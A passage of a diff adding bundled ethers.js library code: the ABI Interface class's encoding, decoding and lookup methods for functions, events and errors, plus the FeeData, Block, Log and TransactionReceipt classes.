"no matching event", "key", key); + return fragment.name; + } + /** + * Returns true if %%key%% (an event topic hash, event name or + * event signature) is present in the ABI. + * + * In the case of an event name, the name may be ambiguous, so + * accessing the [[EventFragment]] may require refinement. + */ + hasEvent(key) { + return !!this.#getEvent(key, null, false); + } + /** + * Get the [[EventFragment]] for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple events match by name. + * + * If the %%key%% and %%values%% do not refine to a single event in + * the ABI, this will throw. + */ + getEvent(key, values) { + return this.#getEvent(key, values || null, true); + } + /** + * Iterate over all events, calling %%callback%%, sorted by their name. + */ + forEachEvent(callback) { + const names = Array.from(this.#events.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#events.get(name)), i); + } + } + /** + * Get the [[ErrorFragment]] for %%key%%, which may be an error + * selector, error name or error signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple errors match by name. + * + * If the %%key%% and %%values%% do not refine to a single error in + * the ABI, this will throw. + */ + getError(key, values) { + if (isHexString(key)) { + const selector = key.toLowerCase(); + if (BuiltinErrors[selector]) { + return ErrorFragment.from(BuiltinErrors[selector].signature); + } + for (const fragment of this.#errors.values()) { + if (selector === fragment.selector) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#errors) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (matching.length === 0) { + if (key === "Error") { + return ErrorFragment.from("error Error(string)"); + } + if (key === "Panic") { + return ErrorFragment.from("error Panic(uint256)"); + } + return null; + } + else if (matching.length > 1) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous error description (i.e. ${matchStr})`, "name", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + key = ErrorFragment.from(key).format(); + if (key === "Error(string)") { + return ErrorFragment.from("error Error(string)"); + } + if (key === "Panic(uint256)") { + return ErrorFragment.from("error Panic(uint256)"); + } + const result = this.#errors.get(key); + if (result) { + return result; + } + return null; + } + /** + * Iterate over all errors, calling %%callback%%, sorted by their name. + */ + forEachError(callback) { + const names = Array.from(this.#errors.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#errors.get(name)), i); + } + } + // Get the 4-byte selector used by Solidity to identify a function + /* +getSelector(fragment: ErrorFragment | FunctionFragment): string { + if (typeof(fragment) === "string") { + const matches: Array = [ ]; + + try { matches.push(this.getFunction(fragment)); } catch (error) { } + try { matches.push(this.getError(fragment)); } catch (_) { } + + if (matches.length === 0) { + logger.throwArgumentError("unknown fragment", "key", fragment); + } else if (matches.length > 1) { + logger.throwArgumentError("ambiguous fragment matches function and error", "key", fragment); + } + + fragment = matches[0]; + } + + return dataSlice(id(fragment.format()), 0, 4); +} + */ + // Get the 32-byte topic hash used by Solidity to identify an event + /* + getEventTopic(fragment: EventFragment): string { + //if (typeof(fragment) === "string") { fragment = this.getEvent(eventFragment); } + return id(fragment.format()); + } + */ + _decodeParams(params, data) { + return this.#abiCoder.decode(params, data); + } + _encodeParams(params, values) { + return this.#abiCoder.encode(params, values); + } + /** + * Encodes a ``tx.data`` object for deploying the Contract with + * the %%values%% as the constructor arguments. + */ + encodeDeploy(values) { + return this._encodeParams(this.deploy.inputs, values || []); + } + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified error (see [[getError]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeErrorResult(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getError(fragment); + assertArgument(f, "unknown error", "fragment", fragment); + fragment = f; + } + assertArgument(dataSlice(data, 0, 4) === fragment.selector, `data signature does not match error ${fragment.name}.`, "data", data); + return this._decodeParams(fragment.inputs, dataSlice(data, 4)); + } + /** + * Encodes the transaction revert data for a call result that + * reverted from the the Contract with the sepcified %%error%% + * (see [[getError]] for valid values for %%fragment%%) with the %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeErrorResult(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getError(fragment); + assertArgument(f, "unknown error", "fragment", fragment); + fragment = f; + } + return concat([ + fragment.selector, + this._encodeParams(fragment.inputs, values || []) + ]); + } + /** + * Decodes the %%data%% from a transaction ``tx.data`` for + * the function specified (see [[getFunction]] for valid values + * for %%fragment%%). + * + * Most developers should prefer the [[parseTransaction]] method + * instead, which will automatically detect the fragment. + */ + decodeFunctionData(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + assertArgument(dataSlice(data, 0, 4) === fragment.selector, `data signature does not match function ${fragment.name}.`, "data", data); + return this._decodeParams(fragment.inputs, dataSlice(data, 4)); + } + /** + * Encodes the ``tx.data`` for a transaction that calls the function + * specified (see [[getFunction]] for valid values for %%fragment%%) with + * the %%values%%. + */ + encodeFunctionData(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + return concat([ + fragment.selector, + this._encodeParams(fragment.inputs, values || []) + ]); + } + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeFunctionResult(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + let message = "invalid length for result data"; + const bytes = getBytesCopy(data); + if ((bytes.length % 32) === 0) { + try { + return this.#abiCoder.decode(fragment.outputs, bytes); + } + catch (error) { + message = "could not decode result data"; + } + } + // Call returned data with no error, but the data is junk + assert(false, message, "BAD_DATA", { + value: hexlify(bytes), + info: { method: fragment.name, signature: fragment.format() } + }); + } + makeError(_data, tx) { + const data = getBytes(_data, "data"); + const error = AbiCoder.getBuiltinCallException("call", tx, data); + // Not a built-in error; try finding a custom error + const customPrefix = "execution reverted (unknown custom error)"; + if (error.message.startsWith(customPrefix)) { + const selector = hexlify(data.slice(0, 4)); + const ef = this.getError(selector); + if (ef) { + try { + const args = this.#abiCoder.decode(ef.inputs, data.slice(4)); + error.revert = { + name: ef.name, signature: ef.format(), args + }; + error.reason = error.revert.signature; + error.message = `execution reverted: ${error.reason}`; + } + catch (e) { + error.message = `execution reverted (coult not decode custom error)`; + } + } + } + // Add the invocation, if available + const parsed = this.parseTransaction(tx); + if (parsed) { + error.invocation = { + method: parsed.name, + signature: parsed.signature, + args: parsed.args + }; + } + return error; + } + /** + * Encodes the result data (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values + * for %%fragment%%) with %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeFunctionResult(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + return hexlify(this.#abiCoder.encode(fragment.outputs, values || [])); + } + /* + spelunk(inputs: Array, values: ReadonlyArray, processfunc: (type: string, value: any) => Promise): Promise> { + const promises: Array> = [ ]; + const process = function(type: ParamType, value: any): any { + if (type.baseType === "array") { + return descend(type.child + } + if (type. === "address") { + } + }; + + const descend = function (inputs: Array, values: ReadonlyArray) { + if (inputs.length !== values.length) { throw new Error("length mismatch"); } + + }; + + const result: Array = [ ]; + values.forEach((value, index) => { + if (value == null) { + topics.push(null); + } else if (param.baseType === "array" || param.baseType === "tuple") { + logger.throwArgumentError("filtering with tuples or arrays not supported", ("contract." + param.name), value); + } else if (Array.isArray(value)) { + topics.push(value.map((value) => encodeTopic(param, value))); + } else { + topics.push(encodeTopic(param, value)); + } + }); + } + */ + // Create the filter for the event with search criteria (e.g. for eth_filterLog) + encodeFilterTopics(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + assert(values.length <= fragment.inputs.length, `too many arguments for ${fragment.format()}`, "UNEXPECTED_ARGUMENT", { count: values.length, expectedCount: fragment.inputs.length }); + const topics = []; + if (!fragment.anonymous) { + topics.push(fragment.topicHash); + } + // @TODO: Use the coders for this; to properly support tuples, etc. + const encodeTopic = (param, value) => { + if (param.type === "string") { + return id(value); + } + else if (param.type === "bytes") { + return keccak256(hexlify(value)); + } + if (param.type === "bool" && typeof (value) === "boolean") { + value = (value ? "0x01" : "0x00"); + } + else if (param.type.match(/^u?int/)) { + value = toBeHex(value); // @TODO: Should this toTwos?? + } + else if (param.type.match(/^bytes/)) { + value = zeroPadBytes(value, 32); + } + else if (param.type === "address") { + // Check addresses are valid + this.#abiCoder.encode(["address"], [value]); + } + return zeroPadValue(hexlify(value), 32); + }; + values.forEach((value, index) => { + const param = fragment.inputs[index]; + if (!param.indexed) { + assertArgument(value == null, "cannot filter non-indexed parameters; must be null", ("contract." + param.name), value); + return; + } + if (value == null) { + topics.push(null); + } + else if (param.baseType === "array" || param.baseType === "tuple") { + assertArgument(false, "filtering with tuples or arrays not supported", ("contract." + param.name), value); + } + else if (Array.isArray(value)) { + topics.push(value.map((value) => encodeTopic(param, value))); + } + else { + topics.push(encodeTopic(param, value)); + } + }); + // Trim off trailing nulls + while (topics.length && topics[topics.length - 1] === null) { + topics.pop(); + } + return topics; + } + encodeEventLog(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + const topics = []; + const dataTypes = []; + const dataValues = []; + if (!fragment.anonymous) { + topics.push(fragment.topicHash); + } + assertArgument(values.length === fragment.inputs.length, "event arguments/values mismatch", "values", values); + fragment.inputs.forEach((param, index) => { + const value = values[index]; + if (param.indexed) { + if (param.type === "string") { + topics.push(id(value)); + } + else if (param.type === "bytes") { + topics.push(keccak256(value)); + } + else if (param.baseType === "tuple" || param.baseType === "array") { + // @TODO + throw new Error("not implemented"); + } + else { + topics.push(this.#abiCoder.encode([param.type], [value])); + } + } + else { + dataTypes.push(param); + dataValues.push(value); + } + }); + return { + data: this.#abiCoder.encode(dataTypes, dataValues), + topics: topics + }; + } + // Decode a filter for the event and the search criteria + decodeEventLog(fragment, data, topics) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + if (topics != null && !fragment.anonymous) { + const eventTopic = fragment.topicHash; + assertArgument(isHexString(topics[0], 32) && topics[0].toLowerCase() === eventTopic, "fragment/topic mismatch", "topics[0]", topics[0]); + topics = topics.slice(1); + } + const indexed = []; + const nonIndexed = []; + const dynamic = []; + fragment.inputs.forEach((param, index) => { + if (param.indexed) { + if (param.type === "string" || param.type === "bytes" || param.baseType === "tuple" || param.baseType === "array") { + indexed.push(ParamType.from({ type: "bytes32", name: param.name })); + dynamic.push(true); + } + else { + indexed.push(param); + dynamic.push(false); + } + } + else { + nonIndexed.push(param); + dynamic.push(false); + } + }); + const resultIndexed = (topics != null) ? this.#abiCoder.decode(indexed, concat(topics)) : null; + const resultNonIndexed = this.#abiCoder.decode(nonIndexed, data, true); + //const result: (Array & { [ key: string ]: any }) = [ ]; + const values = []; + const keys = []; + let nonIndexedIndex = 0, indexedIndex = 0; + fragment.inputs.forEach((param, index) => { + let value = null; + if (param.indexed) { + if (resultIndexed == null) { + value = new Indexed(null); + } + else if (dynamic[index]) { + value = new Indexed(resultIndexed[indexedIndex++]); + } + else { + try { + value = resultIndexed[indexedIndex++]; + } + catch (error) { + value = error; + } + } + } + else { + try { + value = resultNonIndexed[nonIndexedIndex++]; + } + catch (error) { + value = error; + } + } + values.push(value); + keys.push(param.name || null); + }); + return Result.fromItems(values, keys); + } + /** + * Parses a transaction, finding the matching function and extracts + * the parameter values along with other useful function details. + * + * If the matching function cannot be found, return null. + */ + parseTransaction(tx) { + const data = getBytes(tx.data, "tx.data"); + const value = getBigInt((tx.value != null) ? tx.value : 0, "tx.value"); + const fragment = this.getFunction(hexlify(data.slice(0, 4))); + if (!fragment) { + return null; + } + const args = this.#abiCoder.decode(fragment.inputs, data.slice(4)); + return new TransactionDescription(fragment, fragment.selector, args, value); + } + parseCallResult(data) { + throw new Error("@TODO"); + } + /** + * Parses a receipt log, finding the matching event and extracts + * the parameter values along with other useful event details. + * + * If the matching event cannot be found, returns null. + */ + parseLog(log) { + const fragment = this.getEvent(log.topics[0]); + if (!fragment || fragment.anonymous) { + return null; + } + // @TODO: If anonymous, and the only method, and the input count matches, should we parse? + // Probably not, because just because it is the only event in the ABI does + // not mean we have the full ABI; maybe just a fragment? + return new LogDescription(fragment, fragment.topicHash, this.decodeEventLog(fragment, log.data, log.topics)); + } + /** + * Parses a revert data, finding the matching error and extracts + * the parameter values along with other useful error details. + * + * If the matching error cannot be found, returns null. + */ + parseError(data) { + const hexData = hexlify(data); + const fragment = this.getError(dataSlice(hexData, 0, 4)); + if (!fragment) { + return null; + } + const args = this.#abiCoder.decode(fragment.inputs, dataSlice(hexData, 4)); + return new ErrorDescription(fragment, fragment.selector, args); + } + /** + * Creates a new [[Interface]] from the ABI %%value%%. + * + * The %%value%% may be provided as an existing [[Interface]] object, + * a JSON-encoded ABI or any Human-Readable ABI format. + */ + static from(value) { + // Already an Interface, which is immutable + if (value instanceof Interface) { + return value; + } + // JSON + if (typeof (value) === "string") { + return new Interface(JSON.parse(value)); + } + // An Interface; possibly from another v6 instance + if (typeof (value.formatJson) === "function") { + return new Interface(value.formatJson()); + } + // A legacy Interface; from an older version + if (typeof (value.format) === "function") { + return new Interface(value.format("json")); + } + // Array of fragments + return new Interface(value); + } +} + +//import { resolveAddress } from "@ethersproject/address"; +const BN_0$2 = BigInt(0); +// ----------------------- +function getValue(value) { + if (value == null) { + return null; + } + return value; +} +function toJson(value) { + if (value == null) { + return null; + } + return value.toString(); +} +// @TODO? implements Required +/** + * A **FeeData** wraps all the fee-related values associated with + * the network. + */ +class FeeData { + /** + * The gas price for legacy networks. + */ + gasPrice; + /** + * The maximum fee to pay per gas. + * + * The base fee per gas is defined by the network and based on + * congestion, increasing the cost during times of heavy load + * and lowering when less busy. + * + * The actual fee per gas will be the base fee for the block + * and the priority fee, up to the max fee per gas. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + maxFeePerGas; + /** + * The additional amout to pay per gas to encourage a validator + * to include the transaction. + * + * The purpose of this is to compensate the validator for the + * adjusted risk for including a given transaction. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + maxPriorityFeePerGas; + /** + * Creates a new FeeData for %%gasPrice%%, %%maxFeePerGas%% and + * %%maxPriorityFeePerGas%%. + */ + constructor(gasPrice, maxFeePerGas, maxPriorityFeePerGas) { + defineProperties(this, { + gasPrice: getValue(gasPrice), + maxFeePerGas: getValue(maxFeePerGas), + maxPriorityFeePerGas: getValue(maxPriorityFeePerGas) + }); + } + /** + * Returns a JSON-friendly value. + */ + toJSON() { + const { gasPrice, maxFeePerGas, maxPriorityFeePerGas } = this; + return { + _type: "FeeData", + gasPrice: toJson(gasPrice), + maxFeePerGas: toJson(maxFeePerGas), + maxPriorityFeePerGas: toJson(maxPriorityFeePerGas), + }; + } +} +/** + * Returns a copy of %%req%% with all properties coerced to their strict + * types. + */ +function copyRequest(req) { + const result = {}; + // These could be addresses, ENS names or Addressables + if (req.to) { + result.to = req.to; + } + if (req.from) { + result.from = req.from; + } + if (req.data) { + result.data = hexlify(req.data); + } + const bigIntKeys = "chainId,gasLimit,gasPrice,maxFeePerBlobGas,maxFeePerGas,maxPriorityFeePerGas,value".split(/,/); + for (const key of bigIntKeys) { + if (!(key in req) || req[key] == null) { + continue; + } + result[key] = getBigInt(req[key], `request.${key}`); + } + const numberKeys = "type,nonce".split(/,/); + for (const key of numberKeys) { + if (!(key in req) || req[key] == null) { + continue; + } + result[key] = getNumber(req[key], `request.${key}`); + } + if (req.accessList) { + result.accessList = accessListify(req.accessList); + } + if (req.authorizationList) { + result.authorizationList = req.authorizationList.slice(); + } + if ("blockTag" in req) { + result.blockTag = req.blockTag; + } + if ("enableCcipRead" in req) { + result.enableCcipRead = !!req.enableCcipRead; + } + if ("customData" in req) { + result.customData = req.customData; + } + if ("blobVersionedHashes" in req && req.blobVersionedHashes) { + result.blobVersionedHashes = req.blobVersionedHashes.slice(); + } + if ("kzg" in req) { + result.kzg = req.kzg; + } + if ("blobs" in req && req.blobs) { + result.blobs = req.blobs.map((b) => { + if (isBytesLike(b)) { + return hexlify(b); + } + return Object.assign({}, b); + }); + } + return result; +} +/** + * A **Block** represents the data associated with a full block on + * Ethereum. + */ +class Block { + /** + * The provider connected to the block used to fetch additional details + * if necessary. + */ + provider; + /** + * The block number, sometimes called the block height. This is a + * sequential number that is one higher than the parent block. + */ + number; + /** + * The block hash. + * + * This hash includes all properties, so can be safely used to identify + * an exact set of block properties. + */ + hash; + /** + * The timestamp for this block, which is the number of seconds since + * epoch that this block was included. + */ + timestamp; + /** + * The block hash of the parent block. + */ + parentHash; + /** + * The hash tree root of the parent beacon block for the given + * execution block. See [[link-eip-4788]]. + */ + parentBeaconBlockRoot; + /** + * The nonce. + * + * On legacy networks, this is the random number inserted which + * permitted the difficulty target to be reached. + */ + nonce; + /** + * The difficulty target. + * + * On legacy networks, this is the proof-of-work target required + * for a block to meet the protocol rules to be included. + * + * On modern networks, this is a random number arrived at using + * randao. @TODO: Find links? + */ + difficulty; + /** + * The total gas limit for this block. + */ + gasLimit; + /** + * The total gas used in this block. + */ + gasUsed; + /** + * The root hash for the global state after applying changes + * in this block. + */ + stateRoot; + /** + * The hash of the transaction receipts trie. + */ + receiptsRoot; + /** + * The total amount of blob gas consumed by the transactions + * within the block. See [[link-eip-4844]]. + */ + blobGasUsed; + /** + * The running total of blob gas consumed in excess of the + * target, prior to the block. See [[link-eip-4844]]. + */ + excessBlobGas; + /** + * The miner coinbase address, wihch receives any subsidies for + * including this block. + */ + miner; + /** + * The latest RANDAO mix of the post beacon state of + * the previous block. + */ + prevRandao; + /** + * Any extra data the validator wished to include. + */ + extraData; + /** + * The base fee per gas that all transactions in this block were + * charged. + * + * This adjusts after each block, depending on how congested the network + * is. + */ + baseFeePerGas; + #transactions; + /** + * Create a new **Block** object. + * + * This should generally not be necessary as the unless implementing a + * low-level library. + */ + constructor(block, provider) { + this.#transactions = block.transactions.map((tx) => { + if (typeof (tx) !== "string") { + return new TransactionResponse(tx, provider); + } + return tx; + }); + defineProperties(this, { + provider, + hash: getValue(block.hash), + number: block.number, + timestamp: block.timestamp, + parentHash: block.parentHash, + parentBeaconBlockRoot: block.parentBeaconBlockRoot, + nonce: block.nonce, + difficulty: block.difficulty, + gasLimit: block.gasLimit, + gasUsed: block.gasUsed, + blobGasUsed: block.blobGasUsed, + excessBlobGas: block.excessBlobGas, + miner: block.miner, + prevRandao: getValue(block.prevRandao), + extraData: block.extraData, + baseFeePerGas: getValue(block.baseFeePerGas), + stateRoot: block.stateRoot, + receiptsRoot: block.receiptsRoot, + }); + } + /** + * Returns the list of transaction hashes, in the order + * they were executed within the block. + */ + get transactions() { + return this.#transactions.map((tx) => { + if (typeof (tx) === "string") { + return tx; + } + return tx.hash; + }); + } + /** + * Returns the complete transactions, in the order they + * were executed within the block. + * + * This is only available for blocks which prefetched + * transactions, by passing ``true`` to %%prefetchTxs%% + * into [[Provider-getBlock]]. + */ + get prefetchedTransactions() { + const txs = this.#transactions.slice(); + // Doesn't matter... + if (txs.length === 0) { + return []; + } + // Make sure we prefetched the transactions + assert(typeof (txs[0]) === "object", "transactions were not prefetched with block request", "UNSUPPORTED_OPERATION", { + operation: "transactionResponses()" + }); + return txs; + } + /** + * Returns a JSON-friendly value. + */ + toJSON() { + const { baseFeePerGas, difficulty, extraData, gasLimit, gasUsed, hash, miner, prevRandao, nonce, number, parentHash, parentBeaconBlockRoot, stateRoot, receiptsRoot, timestamp, transactions } = this; + return { + _type: "Block", + baseFeePerGas: toJson(baseFeePerGas), + difficulty: toJson(difficulty), + extraData, + gasLimit: toJson(gasLimit), + gasUsed: toJson(gasUsed), + blobGasUsed: toJson(this.blobGasUsed), + excessBlobGas: toJson(this.excessBlobGas), + hash, miner, prevRandao, nonce, number, parentHash, timestamp, + parentBeaconBlockRoot, stateRoot, receiptsRoot, + transactions, + }; + } + [Symbol.iterator]() { + let index = 0; + const txs = this.transactions; + return { + next: () => { + if (index < this.length) { + return { + value: txs[index++], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The number of transactions in this block. + */ + get length() { return this.#transactions.length; } + /** + * The [[link-js-date]] this block was included at. + */ + get date() { + if (this.timestamp == null) { + return null; + } + return new Date(this.timestamp * 1000); + } + /** + * Get the transaction at %%indexe%% within this block. + */ + async getTransaction(indexOrHash) { + // Find the internal value by its index or hash + let tx = undefined; + if (typeof (indexOrHash) === "number") { + tx = this.#transactions[indexOrHash]; + } + else { + const hash = indexOrHash.toLowerCase(); + for (const v of this.#transactions) { + if (typeof (v) === "string") { + if (v !== hash) { + continue; + } + tx = v; + break; + } + else { + if (v.hash !== hash) { + continue; + } + tx = v; + break; + } + } + } + if (tx == null) { + throw new Error("no such tx"); + } + if (typeof (tx) === "string") { + return (await this.provider.getTransaction(tx)); + } + else { + return tx; + } + } + /** + * If a **Block** was fetched with a request to include the transactions + * this will allow synchronous access to those transactions. + * + * If the transactions were not prefetched, this will throw. + */ + getPrefetchedTransaction(indexOrHash) { + const txs = this.prefetchedTransactions; + if (typeof (indexOrHash) === "number") { + return txs[indexOrHash]; + } + indexOrHash = indexOrHash.toLowerCase(); + for (const tx of txs) { + if (tx.hash === indexOrHash) { + return tx; + } + } + assertArgument(false, "no matching transaction", "indexOrHash", indexOrHash); + } + /** + * Returns true if this block been mined. This provides a type guard + * for all properties on a [[MinedBlock]]. + */ + isMined() { return !!this.hash; } + /** + * Returns true if this block is an [[link-eip-2930]] block. + */ + isLondon() { + return !!this.baseFeePerGas; + } + /** + * @_ignore: + */ + orphanedEvent() { + if (!this.isMined()) { + throw new Error(""); + } + return createOrphanedBlockFilter(this); + } +} +////////////////////// +// Log +/** + * A **Log** in Ethereum represents an event that has been included in a + * transaction using the ``LOG*`` opcodes, which are most commonly used by + * Solidity's emit for announcing events. + */ +class Log { + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + provider; + /** + * The transaction hash of the transaction this log occurred in. Use the + * [[Log-getTransaction]] to get the [[TransactionResponse]]. + */ + transactionHash; + /** + * The block hash of the block this log occurred in. Use the + * [[Log-getBlock]] to get the [[Block]]. + */ + blockHash; + /** + * The block number of the block this log occurred in. It is preferred + * to use the [[Block-hash]] when fetching the related [[Block]], + * since in the case of an orphaned block, the block at that height may + * have changed. + */ + blockNumber; + /** + * If the **Log** represents a block that was removed due to an orphaned + * block, this will be true. + * + * This can only happen within an orphan event listener. + */ + removed; + /** + * The address of the contract that emitted this log. + */ + address; + /** + * The data included in this log when it was emitted. + */ + data; + /** + * The indexed topics included in this log when it was emitted. + * + * All topics are included in the bloom filters, so they can be + * efficiently filtered using the [[Provider-getLogs]] method. + */ + topics; + /** + * The index within the block this log occurred at. This is generally + * not useful to developers, but can be used with the various roots + * to proof inclusion within a block. + */ + index; + /** + * The index within the transaction of this log. + */ + transactionIndex; + /** + * @_ignore: + */ + constructor(log, provider) { + this.provider = provider; + const topics = Object.freeze(log.topics.slice()); + defineProperties(this, { + transactionHash: log.transactionHash, + blockHash: log.blockHash, + blockNumber: log.blockNumber, + removed: log.removed, + address: log.address, + data: log.data, + topics, + index: log.index, + transactionIndex: log.transactionIndex, + }); + } + /** + * Returns a JSON-compatible object. + */ + toJSON() { + const { address, blockHash, blockNumber, data, index, removed, topics, transactionHash, transactionIndex } = this; + return { + _type: "log", + address, blockHash, blockNumber, data, index, + removed, topics, transactionHash, transactionIndex + }; + } + /** + * Returns the block that this log occurred in. + */ + async getBlock() { + const block = await this.provider.getBlock(this.blockHash); + assert(!!block, "failed to find transaction", "UNKNOWN_ERROR", {}); + return block; + } + /** + * Returns the transaction that this log occurred in. + */ + async getTransaction() { + const tx = await this.provider.getTransaction(this.transactionHash); + assert(!!tx, "failed to find transaction", "UNKNOWN_ERROR", {}); + return tx; + } + /** + * Returns the transaction receipt fot the transaction that this + * log occurred in. + */ + async getTransactionReceipt() { + const receipt = await this.provider.getTransactionReceipt(this.transactionHash); + assert(!!receipt, "failed to find transaction receipt", "UNKNOWN_ERROR", {}); + return receipt; + } + /** + * @_ignore: + */ + removedEvent() { + return createRemovedLogFilter(this); + } +} +////////////////////// +// Transaction Receipt +/* +export interface LegacyTransactionReceipt { + byzantium: false; + status: null; + root: string; +} + +export interface ByzantiumTransactionReceipt { + byzantium: true; + status: number; + root: null; +} +*/ +/** + * A **TransactionReceipt** includes additional information about a + * transaction that is only available after it has been mined. + */ +class TransactionReceipt { + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + provider; + /** + * The address the transaction was sent to. + */ + to; + /** + * The sender of the transaction. + */ + from; + /** + * The address of the contract if the transaction was directly + * responsible for deploying one. + * + * This is non-null **only** if the ``to`` is empty and the ``data`` + * was successfully executed as initcode. + */ + contractAddress; + /** + * The transaction hash. + */ + hash; + /** + * The index of this transaction within the block transactions. + */ + index; + /** + * The block hash of the [[Block]] this transaction was included in. + */ + blockHash; + /** + * The block number of the [[Block]] this transaction was included in. + */ + blockNumber; + /** + * The bloom filter bytes that represent all logs that occurred within + * this transaction. This is generally not useful for most developers, + * but can be used to validate the included logs. + */ + logsBloom; + /** + * The actual amount of gas used by this transaction. + * + * When creating a transaction, the amount of gas that will be used can + * only be approximated, but the sender must pay the gas fee for the + * entire gas limit. After the transaction, the difference is refunded. + */ + gasUsed; + /** + * The gas used for BLObs. See [[link-eip-4844]]. + */ + blobGasUsed; + /** + * The amount of gas used by all transactions within the block for this + * and all transactions with a lower ``index``. + * + * This is generally not useful for developers but can be used to + * validate certain aspects of execution. + */ + cumulativeGasUsed; + /** + * The actual gas price used during execution. + * + * Due to the complexity of [[link-eip-1559]] this value can only + * be caluclated after the transaction has been mined, snce the base + * fee is protocol-enforced. + */ + gasPrice; + /** + * The price paid per BLOB in gas. See [[link-eip-4844]]. + */ + blobGasPrice; + /** + * The [[link-eip-2718]] transaction type. + */ + type; + //readonly byzantium!: boolean; + /** + * The status of this transaction, indicating success (i.e. ``1``) or + * a revert (i.e. ``0``). + * + * This is available in post-byzantium blocks, but some backends may + * backfill this value. + */ + status; + /** + * The root hash of this transaction. + * + * This is no present and was only included in pre-byzantium blocks, but + * could be used to validate certain parts of the receipt. + */ + root; + #logs; + /** + * @_ignore: + */ + constructor(tx, provider) { + this.#logs = Object.freeze(tx.logs.map((log) => { + return new Log(log, provider); + })); + let gasPrice = BN_0$2; + if (tx.effectiveGasPrice != null) { + gasPrice = tx.effectiveGasPrice; + } + else if (tx.gasPrice != null) { + gasPrice = tx.gasPrice; + } + defineProperties(this, { + provider, + to: tx.to, + from: tx.from, + contractAddress: tx.contractAddress, + hash: tx.hash, + index: tx.index, + blockHash: tx.blockHash, + blockNumber: tx.blockNumber, + logsBloom: tx.logsBloom, + gasUsed: tx.gasUsed, + cumulativeGasUsed: tx.cumulativeGasUsed, + blobGasUsed: tx.blobGasUsed, + gasPrice, + blobGasPrice: tx.blobGasPrice, + type: tx.type, + //byzantium: tx.byzantium, + status: tx.status, + root: tx.root + }); + } + /** + * The logs for this transaction. + */ + get logs() { return this.#logs; } + /** + * Returns a JSON-compatible representation. + */ + toJSON() { + const { to, from, contractAddress, hash, index, blockHash, blockNumber, logsBloom, logs, //byzantium, + status, root } = this; + return { + _type: "TransactionReceipt", + blockHash, blockNumber, + //byzantium, + contractAddress, + cumulativeGasUsed: toJson(this.cumulativeGasUsed), + from, + gasPrice: toJson(this.gasPrice), + blobGasUsed: toJson(this.blobGasUsed), + blobGasPrice: toJson(this.blobGasPrice), + gasUsed: toJson(this.gasUsed), + hash, index, logs, logsBloom, root, status, to + }; + } + /** + * @_ignore: + */ + get length() { return this.logs.length; } + [Symbol.iterator]() { + let index = 0; + return { + next: () => { + if (index < this.length) { + return { value: this.logs[index++], done: false }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The total fee for this transaction, in wei. + */ + get fee() { + return this.gasUsed * this.gasPrice; + } + /** + * Resolves to the block this transaction occurred in. + */ + async getBlock() { + const block = await this.provider.getBlock(this.blockHash); + if (block == null) { + throw new Error("TODO"); + } + return block; + } + /** + * Resolves to the transaction this transaction occurred in. + */ + async getTransaction() { + const tx = await this.provider.getTransaction(this.hash); + if (tx == null) { + throw new Error("TODO"); + } + return tx; + } + /** + * Resolves to the return value of the execution of this transaction. + * + * Support for this feature is limited, as it requires an archive node + * with the ``debug_`` or ``trace_`` API enabled. + */ + async getResult() { + return (await this.provider.getTransactionResult(this.hash)); + } + /** + * Resolves to the number of confirmations this transaction has. + */ + async confirmations() { + return (await this.provider.getBlockNumber()) - this.blockNumber + 1; + } + /** + * @_ignore: + */ + removedEvent() { + return createRemovedTransactionFilter(this); + } + /** + * @_ignore: + */ + reorderedEvent(other) { + assert(!other || other.isMined(), "unmined 'other' transction cannot be orphaned", "UNSUPPORTED_OPERATION", { operation: "reorderedEvent(other)" }); + return createReorderedTransactionFilter(this, other); + } +} +/** + * A 